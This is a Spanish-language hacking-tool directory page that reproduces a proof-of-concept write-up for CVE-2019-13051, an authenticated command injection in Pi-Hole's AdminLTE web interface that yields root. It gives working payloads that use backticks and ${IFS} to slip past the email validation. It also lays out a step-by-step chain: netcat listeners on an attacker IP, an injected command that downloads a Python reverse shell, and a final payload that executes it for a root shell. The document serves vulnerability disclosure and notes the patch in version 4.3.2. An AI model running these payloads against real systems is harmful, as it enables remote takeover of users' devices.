Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2019-13051 | Kitploit
Herramientas/GitHubGitHub/pr0tean/cve-2019-13051
Escalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónComando y Control
GitHubpr0tean/cve-2019-13051

CVE-2019-13051

Ver Repositorio
203hace 6 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Pi-Hole < 4.3.2 Inyección de Comandos y Escalada de Privilegios (CVE-2019-13051)

La versión 4.3.2 de Pi-Hole contiene un parche para esta vulnerabilidad: https://github.com/pi-hole/AdminLTE/pull/974

¡Un gran agradecimiento al equipo de desarrollo de Pi-Hole por su increíble proyecto y por hacer tan fácil reportar esta vulnerabilidad!

Resumen Ejecutivo

Es posible obtener acceso root de forma remota en el dispositivo RaspberyPi (o en cualquier dispositivo/VM donde se esté ejecutando la aplicación) a través de las vulnerabilidades descritas en el componente "AdminLTE". Para explotar esto se requiere acceso administrativo/credenciales a la interfaz web de AdminLTE.

En más detalle, es posible evadir las comprobaciones de expresiones regulares y contaminar el campo "Administrator E-mail Address" con comandos arbitrarios. Estos se almacenan a su vez en "/etc/pihole/setupVars.conf", que posteriormente son analizados y ejecutados con privilegios root desde el trabajo de cron.d de 10 minutos "/usr/local/bin/pihole updatechecker local".

Requisitos Previos del Ataque

  1. Conectividad de red con la aplicación web administrativa de Pi-Hole (AdminLTE).
  2. Un conjunto de credenciales para la aplicación web AdminLTE.

Limitaciones

Un atacante tiene que esperar al intervalo de 10 minutos del trabajo cron "/etc/cron.d/pihole" para la ejecución de comandos/código.

Descripción Técnica

Con suerte, los siguientes detalles y el PoC ayudarán con su validación y reproducción del problema.

Una vez autenticado en la aplicación web, hay algunas validaciones del lado del servidor que un atacante necesita evadir para inyectar un comando con éxito.

En "savesettings.php" L:499, una variable controlada por el usuario "$adminemail" se evalúa contra la función interna de PHP FILTER_VALIDATE_EMAIL, cuyas comprobaciones son relativamente débiles.

Entonces es posible evadir esta comprobación de validación y demostrar la inyección de comandos simplemente encerrando un conjunto de comillas invertidas (backticks) entre comillas dobles; por ejemplo, introduciendo lo siguiente como correo electrónico del administrador:

"`test>/tmp/poc_proof.txt`"@example.com

Screenshot 1

En 10 minutos, se creará un archivo propiedad de root que contiene "test" en "/tmp/poc_proof.txt", con privilegios root.

Screenshot 2

Para llevar a cabo cualquier otro ataque significativo, también es necesario evadir la limitación de los espacios en blanco (que no son caracteres válidos en un correo electrónico y son detectados por la función FILTER_VALIDATE_EMAIL). Para ello se utilizó la variable interna de Linux ${IFS} (que por defecto equivale a un espacio en blanco en la mayoría de los sistemas operativos Unix).

PoC:

*Nota: esto podría automatizarse con una línea usando la gramática de shell POSIX, es decir, &&, || ...

  1. Asegúrate de tener listo tu mecanismo de entrega de scripts en tu máquina atacante. Es decir, en la máquina atacante:

nc -nvlp 4444 < revshell.py

  1. Envía el primer comando en el campo "Administrator E-mail Address" para desencadenar la descarga y el almacenamiento de un script de reverse shell en Python en "/tmp/revshell.py":

"`nc${IFS}192.168.1.69${IFS}4444>/tmp/revshell.py`"@example.com

Screenshot 3

La petición HTTP tendrá este aspecto cuando se examine con un proxy HTTP:

Screenshot 4

Espera 10 minutos a que se ejecute el trabajo cron y recoja el script o, para fines de reproducción, ejecuta manualmente /usr/local/bin/pihole updatechecker local. También puedes validar el comando inyectado que reside en "/etc/pihole/setupVars.conf" (asignado a la variable ADMIN_EMAIL).

  1. Asegúrate de tener listo tu servicio de captura de shells. Es decir, en la máquina atacante:

nc -nvlp 4445

  1. Finalmente, puedes enviar lo siguiente:

“`python${IFS}/tmp/revshell.py`”@example.com

Una vez más, espera 10 minutos (o ejecuta el script cron manualmente para fines de reproducción del problema) y obtendrás una shell root en tu máquina atacante.

Screenshot 1

Descargar herramienta